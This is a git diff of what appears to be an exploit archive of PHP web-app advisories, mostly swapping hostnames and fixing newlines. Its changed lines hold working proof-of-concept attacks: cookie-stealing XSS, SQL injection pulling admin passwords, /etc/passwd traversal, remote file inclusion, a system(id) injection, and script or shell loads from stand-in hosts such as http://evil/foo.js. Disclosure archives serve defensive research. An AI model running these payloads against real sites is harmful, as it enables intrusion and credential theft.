b/platforms/php/webapps/25249.txt index 2865ab1b7..250a65a16 100755 --- a/platforms/php/webapps/25249.txt +++ b/platforms/php/webapps/25249.txt @@ -48,8 +48,8 @@ - Both conditions can be easily Achieved by the following: - 1) we can register a free account at http://server/WeBid/register.php - 2) we can obtain the csrftoken with just visiting the page "http://server/WeBid/yourauctions_p.php" + 1) we can register a free account at http://site.com/WeBid/register.php + 2) we can obtain the csrftoken with just visiting the page "http://site.com/WeBid/yourauctions_p.php" then press on the button "Process selected auctions" in the page and then capture the POST request that will be send with any tool like Tamper Data or Live http headers Firefox plug-in and we can find the csrftoken code used at the POST data .. @@ -59,7 +59,7 @@ - Proof of concept for Exploitation: - <form method="POST" action="https://server/WeBid/yourauctions_p.php"> + <form method="POST" action="https://site.com/WeBid/yourauctions_p.php"> <input name="action" value="delopenauctions"> <input name="csrftoken" value="c30172232742c5863925457813daad12"> <input name="startnow[]" value="0 or SLEEP(10)"> @@ -110,7 +110,7 @@ - Proof of concept for Exploitation: - To read /etc/passwd: http://server/WeBid/loader.php?js=/etc/passwd%00.css + To read /etc/passwd: http://site.com/WeBid/loader.php?js=/etc/passwd%00.css We will see the /etc/passwd was successfully fetched in the page :) diff --git a/platforms/php/webapps/25257.txt b/platforms/php/webapps/25257.txt index cd879a506..bb63e037e 100755 --- a/platforms/php/webapps/25257.txt +++ b/platforms/php/webapps/25257.txt @@ -16,4 +16,4 @@ http://www.example.com/index.php?_a=troubleshooter&_c=[INT][XSS] http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[INT][XSS] -where [INT] is a valid integer value. \ No newline at end of file +where [INT] is a valid integer value. \ No newline at end of file diff --git a/platforms/php/webapps/25258.txt b/platforms/php/webapps/25258.txt index 2279d8fbb..47abedc8b 100755 --- a/platforms/php/webapps/25258.txt +++ b/platforms/php/webapps/25258.txt @@ -7,4 +7,4 @@ A remote attacker may exploit this vulnerability to influence or misrepresent ho This issue was reported to affect Phorum version 5.0.14a; other versions might also be affected. http://www.example.com/phorum5/search.php?forum_id=0&search=1&body=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2 -034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30 \ No newline at end of file +034%0d%0a%0d%0a<html>Scanned by PTsecurity</html>%0d%0a&author=1&subject=1&match_forum=ALL&match_type=ALL&match_dates=30 \ No newline at end of file diff --git a/platforms/php/webapps/25261.txt b/platforms/php/webapps/25261.txt index 664f885ae..52717f47b 100755 --- a/platforms/php/webapps/25261.txt +++ b/platforms/php/webapps/25261.txt @@ -4,4 +4,4 @@ Vortex Portal is reportedly affected by a remote PHP file include vulnerability. It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0. -http://www.example.com/content.php?act=http://www.example.com/file \ No newline at end of file +http://www.example.com/content.php?act=http://www.example.com/file \ No newline at end of file diff --git a/platforms/php/webapps/25262.txt b/platforms/php/webapps/25262.txt index 08ebf3506..5ab785ee2 100755 --- a/platforms/php/webapps/25262.txt +++ b/platforms/php/webapps/25262.txt @@ -4,4 +4,4 @@ Interspire ArticleLive 2005 is reportedly affected by a cross-site scripting vul An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/articles/newcomment?ArticleId=">&lt;script&gt;alert('hi')&lt;/script&gt; \ No newline at end of file +http://www.example.com/articles/newcomment?ArticleId=">&lt;script&gt;alert('hi')&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/25264.txt b/platforms/php/webapps/25264.txt index 497326cc9..a40f9c727 100755 --- a/platforms/php/webapps/25264.txt +++ b/platforms/php/webapps/25264.txt @@ -4,4 +4,4 @@ DigitalHive is reportedly affected by a cross-site scripting vulnerability. This An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/hive/base.php?page=membres.php&mt="/><script>alert()</script>1 \ No newline at end of file +http://www.example.com/hive/base.php?page=membres.php&mt="/><script>alert()</script>1 \ No newline at end of file diff --git a/platforms/php/webapps/25265.txt b/platforms/php/webapps/25265.txt index 11a678915..d0359437b 100755 --- a/platforms/php/webapps/25265.txt +++ b/platforms/php/webapps/25265.txt @@ -4,4 +4,4 @@ phpSysInfo is reportedly affected by multiple cross-site scripting vulnerabiliti An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[phpSysInfo]/index.php?sensor_program=[XSS] \ No newline at end of file +http://www.example.com/[phpSysInfo]/index.php?sensor_program=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25266.txt b/platforms/php/webapps/25266.txt index 3cb58fe6d..8fc58cf18 100755 --- a/platforms/php/webapps/25266.txt +++ b/platforms/php/webapps/25266.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[language]=">[XSS] http://www.example.com/[phpSysInfo]/includes/system_footer.php?text[template]=">[XSS] -http://www.example.com/[phpSysInfo]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=[XSS] \ No newline at end of file +http://www.example.com/[phpSysInfo]/includes/system_footer.php?hide_picklist=cXIb8O3&VERSION=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25267.txt b/platforms/php/webapps/25267.txt index c267c4bb8..7158f0cd6 100755 --- a/platforms/php/webapps/25267.txt +++ b/platforms/php/webapps/25267.txt @@ -10,4 +10,4 @@ This BID will be updated when more information is available. <iframe id="frame1" name="frame1" frameborder=0 width=0 height=0 src="http://www.example.com/forums/index.php?act=Msg&CODE=04&MODE=1&entered_name=Woody&msg_title=hi&Post=I%20love%20you!"> -</iframe> \ No newline at end of file +</iframe> \ No newline at end of file diff --git a/platforms/php/webapps/25270.txt b/platforms/php/webapps/25270.txt index 656b2621c..64ecf490b 100755 --- a/platforms/php/webapps/25270.txt +++ b/platforms/php/webapps/25270.txt @@ -4,4 +4,4 @@ Topic Calendar is reportedly affected by a cross-site scripting vulnerability. T An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/phpbb/calendar_scheduler.php?start=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/phpbb/calendar_scheduler.php?start=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25271.txt b/platforms/php/webapps/25271.txt index 9be405b70..d0b69255d 100755 --- a/platforms/php/webapps/25271.txt +++ b/platforms/php/webapps/25271.txt @@ -8,4 +8,4 @@ Double Choco Latte 0.9.4.2 and prior versions are affected by the PHP code execu This BID will be updated when more information is available. -http://www.example.com/main.php?menuAction=htmlTickets.show;system(id);ob_start \ No newline at end of file +http://www.example.com/main.php?menuAction=htmlTickets.show;system(id);ob_start \ No newline at end of file diff --git a/platforms/php/webapps/25273.txt b/platforms/php/webapps/25273.txt index b4aa7a7f8..16f6c54de 100755 --- a/platforms/php/webapps/25273.txt +++ b/platforms/php/webapps/25273.txt @@ -4,4 +4,4 @@ Koobi CMS is reportedly affected by a SQL injection vulnerability. This issue is Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php?p=articles&area=[SQL Code] \ No newline at end of file +http://www.example.com/index.php?p=articles&area=[SQL Code] \ No newline at end of file diff --git a/platforms/php/webapps/25276.txt b/platforms/php/webapps/25276.txt index 5e8cadf94..f54953cc3 100755 --- a/platforms/php/webapps/25276.txt +++ b/platforms/php/webapps/25276.txt @@ -8,4 +8,4 @@ This issue may allow for theft of cookie-based authentication credentials or oth phpMyDirectory 10.1.3-rel is reported vulnerable, however, it is possible that other versions are affected as well. -http://www.example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script> \ No newline at end of file +http://www.example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script> \ No newline at end of file diff --git a/platforms/php/webapps/25279.txt b/platforms/php/webapps/25279.txt index 80e57bae2..f0e8b60ec 100755 --- a/platforms/php/webapps/25279.txt +++ b/platforms/php/webapps/25279.txt @@ -4,4 +4,4 @@ ESMI PayPal Storefront is prone to an SQL injection vulnerability. This issue is Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/hv/ecdis/products1.php?id=6&id2='SQLINJECTION&subcat=Asus&p=products1 \ No newline at end of file +http://www.example.com/hv/ecdis/products1.php?id=6&id2='SQLINJECTION&subcat=Asus&p=products1 \ No newline at end of file diff --git a/platforms/php/webapps/2528.txt b/platforms/php/webapps/2528.txt index f316b5195..c5094bc9a 100755 --- a/platforms/php/webapps/2528.txt +++ b/platforms/php/webapps/2528.txt @@ -26,7 +26,7 @@ Exploit: Variable $pathToFiles not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/addon_keywordreplacer.php?pathToFiles=[Evil_Script] +# http://www.site.com/[path]/addon_keywordreplacer.php?pathToFiles=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25280.txt b/platforms/php/webapps/25280.txt index cd856eced..3cbc0bfd5 100755 --- a/platforms/php/webapps/25280.txt +++ b/platforms/php/webapps/25280.txt @@ -4,4 +4,4 @@ ESMI PayPal Storefrom is affected by a cross-site scripting vulnerability. This An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/hv/ecdis/products1h.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&id2=10&subcat=Asus&p=products1 \ No newline at end of file +http://www.example.com/hv/ecdis/products1h.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&id2=10&subcat=Asus&p=products1 \ No newline at end of file diff --git a/platforms/php/webapps/25282.txt b/platforms/php/webapps/25282.txt index 5a4767d7f..7c8df5913 100755 --- a/platforms/php/webapps/25282.txt +++ b/platforms/php/webapps/25282.txt @@ -5,4 +5,4 @@ Nuke Bookmarks is prone to a path disclosure issue when invalid data is submitte This issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer. http://www.example.com/modules.php?name=Bookmarks&file=marks -http://www.example.com/modules.php?name=Bookmarks&file=marks&category=1\' \ No newline at end of file +http://www.example.com/modules.php?name=Bookmarks&file=marks&category=1\' \ No newline at end of file diff --git a/platforms/php/webapps/25283.txt b/platforms/php/webapps/25283.txt index 7767eaf4a..f4f7f5af6 100755 --- a/platforms/php/webapps/25283.txt +++ b/platforms/php/webapps/25283.txt @@ -9,4 +9,4 @@ http://www.example.com/modules.php?name=Bookmarks&file=del_mark&markname=[htmlco http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catname=[htmlcode] http://www.example.com/modules.php?name=Bookmarks&file=edit_cat&catcomment=[htmlcode] http://www.example.com/modules.php?name=Bookmarks&file=marks&catname=[htmlcode] -http://www.example.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode] \ No newline at end of file +http://www.example.com/modules.php?name=Bookmarks&file=uploadbookmarks&category=[htmlcode] \ No newline at end of file diff --git a/platforms/php/webapps/25284.txt b/platforms/php/webapps/25284.txt index 2904ad1ec..101385978 100755 --- a/platforms/php/webapps/25284.txt +++ b/platforms/php/webapps/25284.txt @@ -4,4 +4,4 @@ Nuke Bookmarks is prone to an SQL injection vulnerability. This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. -http://www.nukeserver/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors \ No newline at end of file +http://www.nukesite.com/modules.php?name=Bookmarks&file=marks&catname=1&category=-1/**/union/**/select%200,aid,0,pwd,0,0%20from%20nuke_authors \ No newline at end of file diff --git a/platforms/php/webapps/25285.txt b/platforms/php/webapps/25285.txt index 64df1a98c..5bdf84bf1 100755 --- a/platforms/php/webapps/25285.txt +++ b/platforms/php/webapps/25285.txt @@ -4,4 +4,4 @@ MagicScripts E-Store Kit-2 PayPal Edition is prone to a cross-site scripting vul An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/demo/ms-pe02/downloadform.php?txn_id="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/demo/ms-pe02/downloadform.php?txn_id="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25286.txt b/platforms/php/webapps/25286.txt index 5bb503265..892b0a9fb 100755 --- a/platforms/php/webapps/25286.txt +++ b/platforms/php/webapps/25286.txt @@ -4,4 +4,4 @@ MagicScripts E-Store Kit-2 PayPal Edition is prone to a remote file include vuln Remote attackers could potentially exploit this issue to include a remote malicious PHP script. If the attacker is able to execute the remote script it would execute in the context of the Web server hosting the vulnerable application. -http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&menu=http://whatismyip.com \ No newline at end of file +http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&menu=http://whatismyip.com \ No newline at end of file diff --git a/platforms/php/webapps/25299.txt b/platforms/php/webapps/25299.txt index 2fab73c1b..d0d96b8b3 100755 --- a/platforms/php/webapps/25299.txt +++ b/platforms/php/webapps/25299.txt @@ -12,4 +12,4 @@ A successful attack may result in various attacks including theft of cookie base /shoutact.php?yousay=default&email=default&query=http://www.example.com -/shoutact.php?yousay=default&email=default&name=default&query=www.example.com \ No newline at end of file +/shoutact.php?yousay=default&email=default&name=default&query=www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/25300.txt b/platforms/php/webapps/25300.txt index 7dd4df68b..6750e1c63 100755 --- a/platforms/php/webapps/25300.txt +++ b/platforms/php/webapps/25300.txt @@ -8,4 +8,4 @@ http://www.example.com/modules/newbb/viewforum.php?sortname=p.post_time&sortorde Pops cookie http://www.example.com/modules/newbb/index.php?viewcat=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EPops cookie http://www.example.com/modules/newbb/index.php?viewcat='SQL_INJECTION -http://www.example.com/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9 \ No newline at end of file +http://www.example.com/modules/sections/index.php?op=viewarticle&artid=9%2c+9%2c+9 \ No newline at end of file diff --git a/platforms/php/webapps/25301.txt b/platforms/php/webapps/25301.txt index 148419898..416406d15 100755 --- a/platforms/php/webapps/25301.txt +++ b/platforms/php/webapps/25301.txt @@ -16,4 +16,4 @@ http://www.example.com/store/search_result.php?sid= CDFE279AC2AD08522DF1CF9B4647 http://www.example.com/store/index.php?sid=CDFE279AC2AD08522DF1CF9B46475132&lang=%22%3E%3Cscript%3Ealert(docum ent.cookie)%3C/script%3E -http://www.example.com/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD \ No newline at end of file +http://www.example.com/store/search_result.php?sid=CDFE279AC2AD08522DF1CF9B46475132&searchTopCategoryID=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&searchQuery=&sid=CDFE279AC2AD08522DF1CF9B46475132&currency=USD \ No newline at end of file diff --git a/platforms/php/webapps/25302.txt b/platforms/php/webapps/25302.txt index 80518cf78..69149188e 100755 --- a/platforms/php/webapps/25302.txt +++ b/platforms/php/webapps/25302.txt @@ -8,4 +8,4 @@ phpCoin is also affected by a local file include vulnerability. An attacker may phpCoin 1.2.1b and prior versions are affected by these issues. -http://www.example.com/auxpage.php?page=../../../some/other/file \ No newline at end of file +http://www.example.com/auxpage.php?page=../../../some/other/file \ No newline at end of file diff --git a/platforms/php/webapps/25312.txt b/platforms/php/webapps/25312.txt index 744bbf45f..9d00aacd5 100755 --- a/platforms/php/webapps/25312.txt +++ b/platforms/php/webapps/25312.txt @@ -8,4 +8,4 @@ The second set of issues are SQL injection vulnerabilities that affect the 'show An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. -http://www.example.com/photos/showphoto.php?photo='SQL_ERROR \ No newline at end of file +http://www.example.com/photos/showphoto.php?photo='SQL_ERROR \ No newline at end of file diff --git a/platforms/php/webapps/25314.txt b/platforms/php/webapps/25314.txt index 39e3d0ea2..50ceb9810 100755 --- a/platforms/php/webapps/25314.txt +++ b/platforms/php/webapps/25314.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code All versions of The Includer are considered to be vulnerable at the moment. This BID will be updated when more information becomes available. -http://www.example.com/index.php?page=http://www.example.com/exploit \ No newline at end of file +http://www.example.com/index.php?page=http://www.example.com/exploit \ No newline at end of file diff --git a/platforms/php/webapps/25315.html b/platforms/php/webapps/25315.html index acc4c7fc7..21774e3d9 100755 --- a/platforms/php/webapps/25315.html +++ b/platforms/php/webapps/25315.html @@ -22,4 +22,4 @@ example: <script>document.write(document.cookie)</script></p> <p>&nbsp;</p> <p align="center"><a href="http://www.PersianHacker.NET">www.PersianHacker.NET</a></p> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/25316.txt b/platforms/php/webapps/25316.txt index a2ac88e42..a9f674e15 100755 --- a/platforms/php/webapps/25316.txt +++ b/platforms/php/webapps/25316.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in http://www.example.com/index.php?name=Your_Account&profile=anyone"><script>alert('foo')</script> -http://www.example.com/coppermine/displayimage/meta=lastcom/cat=0"><script>alert('foo')</script>/pos=0.html \ No newline at end of file +http://www.example.com/coppermine/displayimage/meta=lastcom/cat=0"><script>alert('foo')</script>/pos=0.html \ No newline at end of file diff --git a/platforms/php/webapps/25317.txt b/platforms/php/webapps/25317.txt index 9283cec91..5d8de71f7 100755 --- a/platforms/php/webapps/25317.txt +++ b/platforms/php/webapps/25317.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Ublog 1.0.4 and prior versions are reportedly affected by this issue. -http://www.example.com/login.asp?msg=<script>alert(XSS)</script> \ No newline at end of file +http://www.example.com/login.asp?msg=<script>alert(XSS)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25320.txt b/platforms/php/webapps/25320.txt index 0e7ab56d6..e7c208d2b 100755 --- a/platforms/php/webapps/25320.txt +++ b/platforms/php/webapps/25320.txt @@ -6,4 +6,4 @@ This vulnerability could permit remote attackers to pass malicious input to data Squirrelcart 1.5.5 and prior versions are vulnerable to this issue. -http://www.example.com/index.php?crn='SQL_INJECTION&action=show&show_products_mode=cat_click&PHPSESSID=2069dbe1646bdc46e4e78718e76e6d15 \ No newline at end of file +http://www.example.com/index.php?crn='SQL_INJECTION&action=show&show_products_mode=cat_click&PHPSESSID=2069dbe1646bdc46e4e78718e76e6d15 \ No newline at end of file diff --git a/platforms/php/webapps/25323.txt b/platforms/php/webapps/25323.txt index b102e7142..082512ded 100755 --- a/platforms/php/webapps/25323.txt +++ b/platforms/php/webapps/25323.txt @@ -8,4 +8,4 @@ Successful exploitation could result in a compromise of security properties of t InterAKT Online MX Shop version 1.1.1 is reported prone to these issues; other versions might also be affected. -http://localhost/MXShop/?mod=category&id_ctg='SQL_INJECTION&PHPSESSID=b1267b894a93572928850920df08126d \ No newline at end of file +http://localhost/MXShop/?mod=category&id_ctg='SQL_INJECTION&PHPSESSID=b1267b894a93572928850920df08126d \ No newline at end of file diff --git a/platforms/php/webapps/25327.txt b/platforms/php/webapps/25327.txt index 9e2a96865..b97f365b9 100755 --- a/platforms/php/webapps/25327.txt +++ b/platforms/php/webapps/25327.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code EPay Pro version 2.0 is vulnerable to this issue. -http://www.example.com/epal/index.php?view=http://www.example.com/ \ No newline at end of file +http://www.example.com/epal/index.php?view=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25328.txt b/platforms/php/webapps/25328.txt index 3b919c328..485f011a5 100755 --- a/platforms/php/webapps/25328.txt +++ b/platforms/php/webapps/25328.txt @@ -12,4 +12,4 @@ http://www.example.com/epal/?order_num=crap&payment=">&lt;script&gt;alert(docume Pops cookie http://www.example.com/epal/?order_num=crap&payment=crap&send=first&send=regular&send=priority&send='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -Pops cookie \ No newline at end of file +Pops cookie \ No newline at end of file diff --git a/platforms/php/webapps/25330.txt b/platforms/php/webapps/25330.txt index 2eb80930a..5feb1322f 100755 --- a/platforms/php/webapps/25330.txt +++ b/platforms/php/webapps/25330.txt @@ -6,4 +6,4 @@ phpMyAdmin versions prior to 2.6.2-rc1 are affected by this issue. http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><script>alert(document.cookie)</script> -http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><h1>XSS</h1> \ No newline at end of file +http://www.example.com/phpmyadmin/index.php?pma_username=&pma_password=&server=1&lang=en-iso-8859-1&convcharset=\"><h1>XSS</h1> \ No newline at end of file diff --git a/platforms/php/webapps/25337.txt b/platforms/php/webapps/25337.txt index 2e6b366aa..77c8efab4 100755 --- a/platforms/php/webapps/25337.txt +++ b/platforms/php/webapps/25337.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th PayProCart version 3.0 is affected by this issue. Other versions may be affected as well. -http://www.example.com/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/usrdetails.php?sgnuptype=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25338.txt b/platforms/php/webapps/25338.txt index 5034f6a16..c2f89c3e6 100755 --- a/platforms/php/webapps/25338.txt +++ b/platforms/php/webapps/25338.txt @@ -8,4 +8,4 @@ Reportedly, the attacker can gain access to file owned by the administrator and PayProCart versions 3.0 is affected by this issue. Other versions may be affected as well. -http://www.example.com/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG \ No newline at end of file +http://www.example.com/adminshop/index.php?proMod=index&amp%3bftoedit=..%2fshopincs%2fmaintopENG \ No newline at end of file diff --git a/platforms/php/webapps/25339.txt b/platforms/php/webapps/25339.txt index f8a36a4a4..3962f19b8 100755 --- a/platforms/php/webapps/25339.txt +++ b/platforms/php/webapps/25339.txt @@ -11,4 +11,4 @@ This vulnerability is reported to affect PHP-Nuke version 7.6 and previous versi http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=mailpasswd&username=[XSS] The following proof of concept example supplied by Maksymilian Arciemowicz: -http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS] \ No newline at end of file +http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2534.pl b/platforms/php/webapps/2534.pl index 9acb916df..303024e84 100755 --- a/platforms/php/webapps/2534.pl +++ b/platforms/php/webapps/2534.pl @@ -104,8 +104,8 @@ header(); ###################################################################### Usage: perl rs_xpl.pl <Target website> <Shell Location> <CMD Variable> <No> -<Target Website> - Path to target eg: www.rsvuln.server -<Shell Location> - Path to shell eg: www.badserver/s.txt +<Target Website> - Path to target eg: www.rsvuln.target.com +<Shell Location> - Path to shell eg: www.badserver.com/s.txt <CMD Variable> - Shell command variable name eg: cmd <No> - File number, corresponding to: 1: conn.php diff --git a/platforms/php/webapps/25340.txt b/platforms/php/webapps/25340.txt index 5a50b7e2e..8bafad284 100755 --- a/platforms/php/webapps/25340.txt +++ b/platforms/php/webapps/25340.txt @@ -8,4 +8,4 @@ This issue could permit a remote attacker to create a malicious URI link that in This vulnerability is reported to affect PHP-Nuke version 7.6 and previous versions. -http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist&avatarcategory=[XSS] \ No newline at end of file +http://www.example.com/[nuke_dir]/modules.php?name=Your_Account&op=avatarlist&avatarcategory=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25342.txt b/platforms/php/webapps/25342.txt index c0d5a63ed..66551c208 100755 --- a/platforms/php/webapps/25342.txt +++ b/platforms/php/webapps/25342.txt @@ -9,4 +9,4 @@ http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ra http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS] http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS] http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS] -http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS] \ No newline at end of file +http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25343.txt b/platforms/php/webapps/25343.txt index e21dfccf9..9d219cb87 100755 --- a/platforms/php/webapps/25343.txt +++ b/platforms/php/webapps/25343.txt @@ -4,4 +4,4 @@ PHP-Nuke is reportedly affected by a cross-site scripting vulnerability. This is An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[php-nuke]/banners.php?op=EmailStats&name=sex&bid=[XSS] \ No newline at end of file +http://www.example.com/[php-nuke]/banners.php?op=EmailStats&name=sex&bid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25344.txt b/platforms/php/webapps/25344.txt index ff4c52b5f..12381df97 100755 --- a/platforms/php/webapps/25344.txt +++ b/platforms/php/webapps/25344.txt @@ -4,4 +4,4 @@ The DLMan Pro mod for phpBB is reportedly affected by an SQL Injection vulnerabi Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/[phpBB]/dlman.php?func=file_info&file_id='[SQL Injection] \ No newline at end of file +http://www.example.com/[phpBB]/dlman.php?func=file_info&file_id='[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/25345.txt b/platforms/php/webapps/25345.txt index f53e28e6d..04251e6a0 100755 --- a/platforms/php/webapps/25345.txt +++ b/platforms/php/webapps/25345.txt @@ -4,4 +4,4 @@ The Linkz Pro mod for phpBB is reportedly affected by a SQL injection vulnerabil Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/[phpBB]/links.php?func=show&id='[SQL Injection] \ No newline at end of file +http://www.example.com/[phpBB]/links.php?func=show&id='[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/25354.txt b/platforms/php/webapps/25354.txt index 474bac8f8..3231647a7 100755 --- a/platforms/php/webapps/25354.txt +++ b/platforms/php/webapps/25354.txt @@ -4,4 +4,4 @@ Ocean12 Membership Manager Pro is reportedly affected by a cross-site scripting An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/main.asp?UserID=2&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cfont%20color=%22&Sort=Name&DisplayNumber=10 \ No newline at end of file +http://www.example.com/main.asp?UserID=2&page=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cfont%20color=%22&Sort=Name&DisplayNumber=10 \ No newline at end of file diff --git a/platforms/php/webapps/25358.txt b/platforms/php/webapps/25358.txt index 2cde36e40..07428bc36 100755 --- a/platforms/php/webapps/25358.txt +++ b/platforms/php/webapps/25358.txt @@ -8,4 +8,4 @@ These vulnerabilities could permit remote attackers to pass malicious input to d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. -http://www.example.com/view_product.php?product=' \ No newline at end of file +http://www.example.com/view_product.php?product=' \ No newline at end of file diff --git a/platforms/php/webapps/25360.txt b/platforms/php/webapps/25360.txt index 61df7657d..db7526941 100755 --- a/platforms/php/webapps/25360.txt +++ b/platforms/php/webapps/25360.txt @@ -9,4 +9,4 @@ These issues are reported to affect PHP-Nuke version 7.6; earlier versions may a http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=modifylinkrequestS&url='[SQL] http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=viewlink&orderby=[SQL]&min=[SQL] http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=search&query=sex&orderby=[SQL]&min=[SQL]&show=[SQL] -http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=[SQL]&ratetype=num \ No newline at end of file +http://www.example.com/[php-nuke]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=[SQL]&ratetype=num \ No newline at end of file diff --git a/platforms/php/webapps/25367.txt b/platforms/php/webapps/25367.txt index b4d66f369..fc3799888 100755 --- a/platforms/php/webapps/25367.txt +++ b/platforms/php/webapps/25367.txt @@ -4,4 +4,4 